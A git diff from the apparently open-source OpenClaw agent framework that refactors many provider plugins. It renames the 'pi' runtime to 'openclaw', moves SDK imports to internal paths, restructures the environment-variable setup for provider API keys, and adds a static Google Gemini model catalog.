19cd70dd7e1..ffb2afa46bb 100644 --- a/extensions/discord/src/actions/runtime.guild.ts +++ b/extensions/discord/src/actions/runtime.guild.ts @@ -1,5 +1,5 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { ChannelType, PermissionFlagsBits } from "discord-api-types/v10"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { resolveDefaultDiscordAccountId } from "../accounts.js"; import { getPresence } from "../monitor/presence-cache.js"; import { diff --git a/extensions/discord/src/actions/runtime.messaging.ts b/extensions/discord/src/actions/runtime.messaging.ts index e8f211a12cf..ece01cbc5cb 100644 --- a/extensions/discord/src/actions/runtime.messaging.ts +++ b/extensions/discord/src/actions/runtime.messaging.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import type { ActionGate, DiscordActionConfig, OpenClawConfig } from "../runtime-api.js"; import { handleDiscordMessageManagementAction } from "./runtime.messaging.messages.js"; import { handleDiscordReactionMessagingAction } from "./runtime.messaging.reactions.js"; diff --git a/extensions/discord/src/actions/runtime.moderation.ts b/extensions/discord/src/actions/runtime.moderation.ts index d74d36012e5..4f8d55c59dc 100644 --- a/extensions/discord/src/actions/runtime.moderation.ts +++ b/extensions/discord/src/actions/runtime.moderation.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { type ActionGate, jsonResult, diff --git a/extensions/discord/src/actions/runtime.presence.ts b/extensions/discord/src/actions/runtime.presence.ts index 0eda11be9b8..b80a08ef5a8 100644 --- a/extensions/discord/src/actions/runtime.presence.ts +++ b/extensions/discord/src/actions/runtime.presence.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { normalizeLowercaseStringOrEmpty } from "openclaw/plugin-sdk/string-coerce-runtime"; import type { Activity, UpdatePresenceData } from "../internal/gateway.js"; import { getGateway } from "../monitor/gateway-registry.js"; diff --git a/extensions/discord/src/actions/runtime.ts b/extensions/discord/src/actions/runtime.ts index 9463c59d4bc..5c6123633da 100644 --- a/extensions/discord/src/actions/runtime.ts +++ b/extensions/discord/src/actions/runtime.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { createDiscordActionGate } from "../accounts.js"; import { readStringParam, type OpenClawConfig } from "../runtime-api.js"; import { handleDiscordGuildAction } from "./runtime.guild.js"; diff --git a/extensions/discord/src/monitor/model-picker.test.ts b/extensions/discord/src/monitor/model-picker.test.ts index 68473545f0e..19e0ec34e8a 100644 --- a/extensions/discord/src/monitor/model-picker.test.ts +++ b/extensions/discord/src/monitor/model-picker.test.ts @@ -613,9 +613,9 @@ describe("Discord model picker rendering", () => { "Use the Google Gemini CLI runtime selected by the effective harness policy.", }, { - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }, ], ], @@ -666,9 +666,9 @@ describe("Discord model picker rendering", () => { "Use the Google Gemini CLI runtime selected by the effective harness policy.", }, { - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }, ], ], @@ -1001,9 +1001,9 @@ describe("Discord model picker rendering", () => { description: "Use the OpenAI Codex runtime selected by the effective harness policy.", }, { - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }, ], ], @@ -1029,7 +1029,9 @@ describe("Discord model picker rendering", () => { throw new Error("models view did not render a runtime select"); } expect(runtimeSelect.options?.find((option) => option.value === "codex")?.default).toBe(true); - expect(runtimeSelect.options?.find((option) => option.value === "pi")?.default).toBe(false); + expect(runtimeSelect.options?.find((option) => option.value === "openclaw")?.default).toBe( + false, + ); const modelSelect = rows[2]?.components?.find( (component) => component.type === DISCORD_STRING_SELECT_COMPONENT_TYPE, @@ -1058,9 +1060,9 @@ describe("Discord model picker rendering", () => { description: "Use the OpenAI Codex runtime selected by the effective harness policy.", }, { - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }, ], ], @@ -1074,7 +1076,7 @@ describe("Discord model picker rendering", () => { currentModel: "openai/gpt-4.1", pendingModel: "openai/gpt-4o", pendingModelIndex: 2, - pendingRuntime: "pi", + pendingRuntime: "openclaw", }); const modelSelect = rows[2]?.components?.find( diff --git a/extensions/discord/src/monitor/model-picker.view.ts b/extensions/discord/src/monitor/model-picker.view.ts index 4854d44a9bd..899501c8ce7 100644 --- a/extensions/discord/src/monitor/model-picker.view.ts +++ b/extensions/discord/src/monitor/model-picker.view.ts @@ -213,9 +213,9 @@ function getRuntimeChoices(params: { } return [ { - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }, ]; } @@ -236,7 +236,7 @@ function resolveSelectedRuntime(params: { if (current && allowed.has(current)) { return current; } - return choices[0]?.id ?? "pi"; + return choices[0]?.id ?? "openclaw"; } function resolveExplicitRuntimeState(params: { diff --git a/extensions/discord/src/monitor/native-command-model-picker-interaction.ts b/extensions/discord/src/monitor/native-command-model-picker-interaction.ts index 53b79304f18..8105d00ce17 100644 --- a/extensions/discord/src/monitor/native-command-model-picker-interaction.ts +++ b/extensions/discord/src/monitor/native-command-model-picker-interaction.ts @@ -236,7 +236,7 @@ function resolveDiscordModelPickerRuntimeForProvider(params: { } const choices = params.data.runtimeChoicesByProvider?.get(params.provider); if (!choices?.length) { - return runtime === "pi" ? runtime : undefined; + return runtime === "openclaw" ? runtime : undefined; } return choices.some((choice) => choice.id === runtime) ? runtime : undefined; } diff --git a/extensions/discord/src/monitor/native-command.model-picker.test.ts b/extensions/discord/src/monitor/native-command.model-picker.test.ts index 3dfbd387c80..ec9377b5b9d 100644 --- a/extensions/discord/src/monitor/native-command.model-picker.test.ts +++ b/extensions/discord/src/monitor/native-command.model-picker.test.ts @@ -419,7 +419,7 @@ describe("Discord model picker interactions", () => { "openai", [ { id: "codex", label: "Codex", description: "Use Codex." }, - { id: "pi", label: "OpenClaw Pi Default", description: "Use Pi." }, + { id: "openclaw", label: "OpenClaw Default", description: "Use OpenClaw." }, ], ], ]); @@ -467,7 +467,7 @@ describe("Discord model picker interactions", () => { "openai", [ { id: "codex", label: "Codex", description: "Use Codex." }, - { id: "pi", label: "OpenClaw Pi Default", description: "Use Pi." }, + { id: "openclaw", label: "OpenClaw Default", description: "Use OpenClaw." }, ], ], ]); @@ -512,7 +512,7 @@ describe("Discord model picker interactions", () => { [ "anthropic", [ - { id: "pi", label: "OpenClaw Pi Default", description: "Use Pi." }, + { id: "openclaw", label: "OpenClaw Default", description: "Use OpenClaw." }, { id: "claude-cli", label: "Claude CLI", description: "Use Claude CLI." }, ], ], diff --git a/extensions/elevenlabs/openclaw.plugin.json b/extensions/elevenlabs/openclaw.plugin.json index 4e1230fa150..f4207de6b1d 100644 --- a/extensions/elevenlabs/openclaw.plugin.json +++ b/extensions/elevenlabs/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "enabledByDefault": true, - "providerAuthEnvVars": { - "elevenlabs": ["ELEVENLABS_API_KEY", "XI_API_KEY"] + "setup": { + "providers": [ + { + "id": "elevenlabs", + "envVars": ["ELEVENLABS_API_KEY", "XI_API_KEY"] + } + ] }, "contracts": { "speechProviders": ["elevenlabs"], diff --git a/extensions/exa/openclaw.plugin.json b/extensions/exa/openclaw.plugin.json index 9bfc5d63d35..05e66f3c68b 100644 --- a/extensions/exa/openclaw.plugin.json +++ b/extensions/exa/openclaw.plugin.json @@ -3,8 +3,13 @@ "activation": { "onStartup": false }, - "providerAuthEnvVars": { - "exa": ["EXA_API_KEY"] + "setup": { + "providers": [ + { + "id": "exa", + "envVars": ["EXA_API_KEY"] + } + ] }, "uiHints": { "webSearch.apiKey": { diff --git a/extensions/fal/openclaw.plugin.json b/extensions/fal/openclaw.plugin.json index 49632aa3470..49fa2b63c83 100644 --- a/extensions/fal/openclaw.plugin.json +++ b/extensions/fal/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["fal"], - "providerAuthEnvVars": { - "fal": ["FAL_KEY", "FAL_API_KEY"] + "setup": { + "providers": [ + { + "id": "fal", + "envVars": ["FAL_KEY", "FAL_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/firecrawl/openclaw.plugin.json b/extensions/firecrawl/openclaw.plugin.json index e1f6ae663b4..ee1276da4e9 100644 --- a/extensions/firecrawl/openclaw.plugin.json +++ b/extensions/firecrawl/openclaw.plugin.json @@ -3,8 +3,13 @@ "activation": { "onStartup": false }, - "providerAuthEnvVars": { - "firecrawl": ["FIRECRAWL_API_KEY"] + "setup": { + "providers": [ + { + "id": "firecrawl", + "envVars": ["FIRECRAWL_API_KEY"] + } + ] }, "uiHints": { "webSearch.apiKey": { diff --git a/extensions/fireworks/openclaw.plugin.json b/extensions/fireworks/openclaw.plugin.json index 5bbc45cb2b1..4e5eaddf30e 100644 --- a/extensions/fireworks/openclaw.plugin.json +++ b/extensions/fireworks/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["fireworks"], - "providerAuthEnvVars": { - "fireworks": ["FIREWORKS_API_KEY"] + "setup": { + "providers": [ + { + "id": "fireworks", + "envVars": ["FIREWORKS_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/fireworks/package.json b/extensions/fireworks/package.json index 29768c50c14..57d8e4beee5 100644 --- a/extensions/fireworks/package.json +++ b/extensions/fireworks/package.json @@ -4,9 +4,6 @@ "private": true, "description": "OpenClaw Fireworks provider plugin", "type": "module", - "dependencies": { - "@earendil-works/pi-ai": "0.75.5" - }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" }, diff --git a/extensions/fireworks/stream.test.ts b/extensions/fireworks/stream.test.ts index 129e36790d4..12c4b53cbb2 100644 --- a/extensions/fireworks/stream.test.ts +++ b/extensions/fireworks/stream.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createFireworksKimiThinkingDisabledWrapper, diff --git a/extensions/fireworks/stream.ts b/extensions/fireworks/stream.ts index 62e870d6e90..9e7d1b69fe2 100644 --- a/extensions/fireworks/stream.ts +++ b/extensions/fireworks/stream.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { streamSimple } from "openclaw/plugin-sdk/llm"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared"; import { streamWithPayloadPatch } from "openclaw/plugin-sdk/provider-stream-shared"; diff --git a/extensions/github-copilot/connection-bound-ids.live.test.ts b/extensions/github-copilot/connection-bound-ids.live.test.ts index d21c5ade071..4bbf8b6dfb4 100644 --- a/extensions/github-copilot/connection-bound-ids.live.test.ts +++ b/extensions/github-copilot/connection-bound-ids.live.test.ts @@ -1,4 +1,4 @@ -import { streamOpenAIResponses, type AssistantMessage, type Model } from "@earendil-works/pi-ai"; +import { stream as streamModel, type AssistantMessage, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { resolveFirstGithubToken } from "./auth.js"; import { buildCopilotDynamicHeaders } from "./stream.js"; @@ -195,7 +195,7 @@ describeLive("github-copilot connection-bound Responses IDs live", () => { }; let capturedPayload: Record | undefined; - const wrappedStream = wrapCopilotOpenAIResponsesStream(streamOpenAIResponses as never); + const wrappedStream = wrapCopilotOpenAIResponsesStream(streamModel as never); if (!wrappedStream) { throw new Error("expected Copilot Responses stream wrapper"); } diff --git a/extensions/github-copilot/index.ts b/extensions/github-copilot/index.ts index 902959f8f43..daaea4f8170 100644 --- a/extensions/github-copilot/index.ts +++ b/extensions/github-copilot/index.ts @@ -268,8 +268,7 @@ export default definePluginEntry({ ctx: ProviderCatalogContext, ): Promise { const pluginConfig = resolveCurrentPluginConfig(ctx.config); - const discoveryEnabled = - pluginConfig.discovery?.enabled ?? ctx.config?.models?.copilotDiscovery?.enabled; + const discoveryEnabled = pluginConfig.discovery?.enabled; if (discoveryEnabled === false) { return null; } diff --git a/extensions/github-copilot/models.test.ts b/extensions/github-copilot/models.test.ts index 651ed06cb42..b117dee4e90 100644 --- a/extensions/github-copilot/models.test.ts +++ b/extensions/github-copilot/models.test.ts @@ -4,17 +4,6 @@ import { buildCopilotModelDefinition, getDefaultCopilotModelIds } from "./models import { deriveCopilotApiBaseUrlFromToken, resolveCopilotApiToken } from "./token.js"; import { fetchCopilotUsage } from "./usage.js"; -vi.mock("@earendil-works/pi-ai/oauth", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-ai/oauth", - ); - return { - ...actual, - getOAuthApiKey: vi.fn(), - getOAuthProviders: vi.fn(() => []), - }; -}); - vi.mock("openclaw/plugin-sdk/provider-model-shared", () => ({ normalizeModelCompat: (model: Record) => model, resolveProviderEndpoint: (baseUrl: string) => ({ diff --git a/extensions/github-copilot/openclaw.plugin.json b/extensions/github-copilot/openclaw.plugin.json index 812962b42b8..9a9b905c94a 100644 --- a/extensions/github-copilot/openclaw.plugin.json +++ b/extensions/github-copilot/openclaw.plugin.json @@ -146,8 +146,13 @@ "contracts": { "memoryEmbeddingProviders": ["github-copilot"] }, - "providerAuthEnvVars": { - "github-copilot": ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"] + "setup": { + "providers": [ + { + "id": "github-copilot", + "envVars": ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/github-copilot/package.json b/extensions/github-copilot/package.json index f4339314cd2..095557efca0 100644 --- a/extensions/github-copilot/package.json +++ b/extensions/github-copilot/package.json @@ -8,7 +8,6 @@ "@clack/prompts": "1.4.0" }, "devDependencies": { - "@earendil-works/pi-ai": "0.75.5", "@openclaw/plugin-sdk": "workspace:*" }, "openclaw": { diff --git a/extensions/github-copilot/stream.ts b/extensions/github-copilot/stream.ts index 78981436a0b..fc7d5217c53 100644 --- a/extensions/github-copilot/stream.ts +++ b/extensions/github-copilot/stream.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context } from "openclaw/plugin-sdk/llm"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { buildCopilotIdeHeaders, COPILOT_INTEGRATION_ID } from "openclaw/plugin-sdk/provider-auth"; import { diff --git a/extensions/google-meet/index.test.ts b/extensions/google-meet/index.test.ts index a3684db678f..71a4e1bf6aa 100644 --- a/extensions/google-meet/index.test.ts +++ b/extensions/google-meet/index.test.ts @@ -4119,7 +4119,7 @@ describe("google-meet plugin", () => { resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent: vi.fn(async () => ({ + runEmbeddedAgent: vi.fn(async () => ({ payloads: [{ text: "Use the Portugal launch data." }], meta: {}, })), @@ -4152,7 +4152,7 @@ describe("google-meet plugin", () => { const audioChunk = mockCallArg(sendAudio, 0) as Buffer; expect(Buffer.isBuffer(audioChunk)).toBe(true); expect(audioChunk.byteLength).toBeGreaterThan(0); - expect(runtime.agent.runEmbeddedPiAgent).toHaveBeenCalled(); + expect(runtime.agent.runEmbeddedAgent).toHaveBeenCalled(); expect(runtime.tts.textToSpeechTelephony).toHaveBeenCalledWith({ text: "Use the Portugal launch data.", cfg: {}, @@ -4281,7 +4281,7 @@ describe("google-meet plugin", () => { resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent: vi.fn(async (_request: unknown) => ({ + runEmbeddedAgent: vi.fn(async (_request: unknown) => ({ payloads: [{ text: "Use the Portugal launch data." }], meta: {}, })), @@ -4411,9 +4411,9 @@ describe("google-meet plugin", () => { ]) { expect(talkEventTypes).toContain(type); } - expect(runtime.agent.runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runtime.agent.runEmbeddedAgent).toHaveBeenCalledTimes(1); const agentRequest = requireRecord( - mockCallArg(runtime.agent.runEmbeddedPiAgent, 0), + mockCallArg(runtime.agent.runEmbeddedAgent, 0), "embedded agent request", ); expect(agentRequest.messageProvider).toBe("google-meet"); @@ -4502,7 +4502,7 @@ describe("google-meet plugin", () => { resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent: vi.fn(async (_request: unknown) => ({ + runEmbeddedAgent: vi.fn(async (_request: unknown) => ({ payloads: [{ text: "The launch is still on track." }], meta: {}, })), @@ -4532,10 +4532,10 @@ describe("google-meet plugin", () => { await vi.advanceTimersByTimeAsync(GOOGLE_MEET_AGENT_TRANSCRIPT_DEBOUNCE_MS); await vi.waitFor(() => { - expect(runtime.agent.runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runtime.agent.runEmbeddedAgent).toHaveBeenCalledTimes(1); }); const consultArgs = requireRecord( - (runtime.agent.runEmbeddedPiAgent.mock.calls as unknown[][])[0]?.[0], + (runtime.agent.runEmbeddedAgent.mock.calls as unknown[][])[0]?.[0], "default talk-back agent request", ); expect(consultArgs.agentId).toBe("jay"); @@ -4774,7 +4774,7 @@ describe("google-meet plugin", () => { resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent: vi.fn(async () => ({ + runEmbeddedAgent: vi.fn(async () => ({ payloads: [{ text: "Use the launch update." }], meta: {}, })), diff --git a/extensions/google/cli-backend.ts b/extensions/google/cli-backend.ts index c0e49b4250e..c7b3948942d 100644 --- a/extensions/google/cli-backend.ts +++ b/extensions/google/cli-backend.ts @@ -14,6 +14,7 @@ const GEMINI_CLI_DEFAULT_MODEL_REF = "google-gemini-cli/gemini-3-flash-preview"; export function buildGoogleGeminiCliBackend(): CliBackendPlugin { return { id: "google-gemini-cli", + modelProvider: "google", liveTest: { defaultModelRef: GEMINI_CLI_DEFAULT_MODEL_REF, defaultImageProbe: true, diff --git a/extensions/google/gemini-cli-provider.ts b/extensions/google/gemini-cli-provider.ts index d9f245220c9..62e3363f5df 100644 --- a/extensions/google/gemini-cli-provider.ts +++ b/extensions/google/gemini-cli-provider.ts @@ -79,9 +79,8 @@ export function buildGoogleGeminiCliProvider(): ProviderPlugin { configPatch: { agents: { defaults: { - agentRuntime: { id: PROVIDER_ID }, models: { - [DEFAULT_MODEL]: {}, + [DEFAULT_MODEL]: { agentRuntime: { id: PROVIDER_ID } }, }, }, }, diff --git a/extensions/google/index.test.ts b/extensions/google/index.test.ts index dd546cc3fef..6362b8ab056 100644 --- a/extensions/google/index.test.ts +++ b/extensions/google/index.test.ts @@ -1,4 +1,4 @@ -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import type { ProviderReplaySessionEntry, ProviderSanitizeReplayHistoryContext, diff --git a/extensions/google/openclaw.plugin.json b/extensions/google/openclaw.plugin.json index 907c19b9109..ecfa5a13712 100644 --- a/extensions/google/openclaw.plugin.json +++ b/extensions/google/openclaw.plugin.json @@ -5,6 +5,7 @@ }, "enabledByDefault": true, "providers": ["google", "google-gemini-cli", "google-vertex"], + "providerCatalogEntry": "./provider-discovery.ts", "autoEnableWhenConfiguredProviders": ["google-gemini-cli"], "modelIdNormalization": { "providers": { @@ -603,13 +604,14 @@ "source": "gcloud adc" } ] + }, + { + "id": "google", + "envVars": ["GEMINI_API_KEY", "GOOGLE_API_KEY"] } ] }, "cliBackends": ["google-gemini-cli"], - "providerAuthEnvVars": { - "google": ["GEMINI_API_KEY", "GOOGLE_API_KEY"] - }, "providerAuthChoices": [ { "provider": "google", diff --git a/extensions/google/package.json b/extensions/google/package.json index ab1d08e7911..6af2c9776c8 100644 --- a/extensions/google/package.json +++ b/extensions/google/package.json @@ -5,7 +5,6 @@ "description": "OpenClaw Google plugin", "type": "module", "dependencies": { - "@earendil-works/pi-ai": "0.75.5", "@google/genai": "2.6.0", "google-auth-library": "10.6.2" }, diff --git a/extensions/google/provider-catalog.ts b/extensions/google/provider-catalog.ts new file mode 100644 index 00000000000..9dd375f522c --- /dev/null +++ b/extensions/google/provider-catalog.ts @@ -0,0 +1,35 @@ +import type { + ModelDefinitionConfig, + ModelProviderConfig, +} from "openclaw/plugin-sdk/provider-model-shared"; + +const GOOGLE_GEMINI_BASE_URL = "https://generativelanguage.googleapis.com/v1beta"; +const GOOGLE_GEMINI_COST = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 } as const; +const GOOGLE_GEMINI_TEXT_MODELS: ModelDefinitionConfig[] = [ + { + id: "gemini-3.1-pro-preview", + name: "Gemini 3.1 Pro Preview", + reasoning: true, + input: ["text", "image"], + cost: GOOGLE_GEMINI_COST, + contextWindow: 1_048_576, + maxTokens: 65_536, + }, + { + id: "gemini-3-flash-preview", + name: "Gemini 3 Flash Preview", + reasoning: true, + input: ["text", "image"], + cost: GOOGLE_GEMINI_COST, + contextWindow: 1_048_576, + maxTokens: 65_536, + }, +]; + +export function buildGoogleStaticCatalogProvider(): ModelProviderConfig { + return { + baseUrl: GOOGLE_GEMINI_BASE_URL, + api: "google-generative-ai", + models: GOOGLE_GEMINI_TEXT_MODELS, + }; +} diff --git a/extensions/google/provider-discovery.ts b/extensions/google/provider-discovery.ts new file mode 100644 index 00000000000..d8c5ecaf55a --- /dev/null +++ b/extensions/google/provider-discovery.ts @@ -0,0 +1,15 @@ +import type { ProviderPlugin } from "openclaw/plugin-sdk/provider-model-shared"; +import { buildGoogleStaticCatalogProvider } from "./provider-catalog.js"; + +const googleProviderDiscovery: ProviderPlugin = { + id: "google", + label: "Google AI Studio", + docsPath: "/providers/models", + auth: [], + staticCatalog: { + order: "simple", + run: async () => ({ providers: { google: buildGoogleStaticCatalogProvider() } }), + }, +}; + +export default googleProviderDiscovery; diff --git a/extensions/google/provider-registration.ts b/extensions/google/provider-registration.ts index d7ee167f21c..a250a979347 100644 --- a/extensions/google/provider-registration.ts +++ b/extensions/google/provider-registration.ts @@ -3,6 +3,7 @@ import { createProviderApiKeyAuthMethod } from "openclaw/plugin-sdk/provider-aut import type { ProviderPlugin } from "openclaw/plugin-sdk/provider-model-shared"; import { normalizeGoogleModelId } from "./model-id.js"; import { GOOGLE_GEMINI_DEFAULT_MODEL, applyGoogleGeminiModelDefault } from "./onboard.js"; +import { buildGoogleStaticCatalogProvider } from "./provider-catalog.js"; import { GOOGLE_GEMINI_PROVIDER_HOOKS } from "./provider-hooks.js"; import { isModernGoogleModel, resolveGoogleGeminiForwardCompatModel } from "./provider-models.js"; import { @@ -46,6 +47,10 @@ export function buildGoogleProvider(): ProviderPlugin { normalizeTransport: ({ api, baseUrl }) => resolveGoogleGenerativeAiTransport({ api, baseUrl }), normalizeConfig: ({ provider, providerConfig }) => normalizeGoogleProviderConfig(provider, providerConfig), + staticCatalog: { + order: "simple", + run: async () => ({ providers: { google: buildGoogleStaticCatalogProvider() } }), + }, normalizeModelId: ({ modelId }) => normalizeGoogleModelId(modelId), resolveDynamicModel: (ctx) => resolveGoogleGeminiForwardCompatModel({ diff --git a/extensions/google/transport-stream.test.ts b/extensions/google/transport-stream.test.ts index 1641a840c3a..9ac5f9f4fe2 100644 --- a/extensions/google/transport-stream.test.ts +++ b/extensions/google/transport-stream.test.ts @@ -1,7 +1,7 @@ import { mkdir, mkdtemp, writeFile } from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const { diff --git a/extensions/google/transport-stream.ts b/extensions/google/transport-stream.ts index 8f9f3d0beae..4b1305aac9a 100644 --- a/extensions/google/transport-stream.ts +++ b/extensions/google/transport-stream.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { calculateCost, getEnvApiKey, @@ -6,7 +6,7 @@ import { type Model, type SimpleStreamOptions, type ThinkingLevel, -} from "@earendil-works/pi-ai"; +} from "openclaw/plugin-sdk/llm"; import { createProviderHttpError } from "openclaw/plugin-sdk/provider-http"; import { buildGuardedModelFetch, diff --git a/extensions/gradium/openclaw.plugin.json b/extensions/gradium/openclaw.plugin.json index 8614e0c7059..124174c4efc 100644 --- a/extensions/gradium/openclaw.plugin.json +++ b/extensions/gradium/openclaw.plugin.json @@ -3,8 +3,13 @@ "activation": { "onStartup": false }, - "providerAuthEnvVars": { - "gradium": ["GRADIUM_API_KEY"] + "setup": { + "providers": [ + { + "id": "gradium", + "envVars": ["GRADIUM_API_KEY"] + } + ] }, "contracts": { "speechProviders": ["gradium"] diff --git a/extensions/groq/api.ts b/extensions/groq/api.ts index 963f7fd1311..10aa791d298 100644 --- a/extensions/groq/api.ts +++ b/extensions/groq/api.ts @@ -48,13 +48,3 @@ export function resolveGroqReasoningCompatPatch( } return null; } - -export function contributeGroqResolvedModelCompat(params: { - modelId: string; - model: { api?: unknown; provider?: unknown }; -}): Partial | undefined { - if (params.model.api !== "openai-completions" || params.model.provider !== "groq") { - return undefined; - } - return resolveGroqReasoningCompatPatch(params.modelId) ?? undefined; -} diff --git a/extensions/groq/index.test.ts b/extensions/groq/index.test.ts index 92e4652231c..220cc4a3b5a 100644 --- a/extensions/groq/index.test.ts +++ b/extensions/groq/index.test.ts @@ -1,6 +1,6 @@ import { capturePluginRegistration } from "openclaw/plugin-sdk/plugin-test-runtime"; import { describe, expect, it } from "vitest"; -import { contributeGroqResolvedModelCompat, resolveGroqReasoningCompatPatch } from "./api.js"; +import { resolveGroqReasoningCompatPatch } from "./api.js"; import plugin from "./index.js"; describe("groq provider compat", () => { @@ -29,50 +29,19 @@ describe("groq provider compat", () => { }); }); - it("contributes compat only for Groq OpenAI-compatible chat models", () => { - expect( - contributeGroqResolvedModelCompat({ - modelId: "qwen/qwen3-32b", - model: { api: "openai-completions", provider: "groq" }, - }), - ).toEqual({ - supportsReasoningEffort: true, - supportedReasoningEfforts: ["none", "default"], - reasoningEffortMap: { - adaptive: "default", - high: "default", - off: "none", - none: "none", - minimal: "default", - low: "default", - medium: "default", - max: "default", - xhigh: "default", - }, - }); - expect( - contributeGroqResolvedModelCompat({ - modelId: "qwen/qwen3-32b", - model: { api: "openai-completions", provider: "openrouter" }, - }), - ).toBeUndefined(); - }); - it("registers Groq model and media providers", () => { const captured = capturePluginRegistration(plugin); const [provider] = captured.providers; if (!provider) { throw new Error("Expected Groq provider"); } - const { contributeResolvedModelCompat, ...providerMetadata } = provider; - expect(providerMetadata).toEqual({ + expect(provider).toEqual({ auth: [], docsPath: "/providers/groq", envVars: ["GROQ_API_KEY"], id: "groq", label: "Groq", }); - expect(contributeResolvedModelCompat).toBeTypeOf("function"); expect(captured.mediaUnderstandingProviders).toHaveLength(1); const [mediaProvider] = captured.mediaUnderstandingProviders; if (!mediaProvider) { diff --git a/extensions/groq/index.ts b/extensions/groq/index.ts index 34fe3ea50e0..a7de6b2e8f8 100644 --- a/extensions/groq/index.ts +++ b/extensions/groq/index.ts @@ -1,5 +1,4 @@ import { definePluginEntry } from "openclaw/plugin-sdk/plugin-entry"; -import { contributeGroqResolvedModelCompat } from "./api.js"; import { groqMediaUnderstandingProvider } from "./media-understanding-provider.js"; export default definePluginEntry({ @@ -13,8 +12,6 @@ export default definePluginEntry({ docsPath: "/providers/groq", envVars: ["GROQ_API_KEY"], auth: [], - contributeResolvedModelCompat: ({ modelId, model }) => - contributeGroqResolvedModelCompat({ modelId, model }), }); api.registerMediaUnderstandingProvider(groqMediaUnderstandingProvider); }, diff --git a/extensions/huggingface/index.ts b/extensions/huggingface/index.ts index 3451212c222..e5ba953edc7 100644 --- a/extensions/huggingface/index.ts +++ b/extensions/huggingface/index.ts @@ -39,8 +39,7 @@ export default defineSingleProviderPluginEntry({ pluginEntry && typeof pluginEntry === "object" && pluginEntry.config ? (pluginEntry.config as HuggingFacePluginConfig) : undefined; - const discoveryEnabled = - pluginConfig?.discovery?.enabled ?? ctx.config?.models?.huggingfaceDiscovery?.enabled; + const discoveryEnabled = pluginConfig?.discovery?.enabled; if (discoveryEnabled === false) { return null; } diff --git a/extensions/huggingface/openclaw.plugin.json b/extensions/huggingface/openclaw.plugin.json index 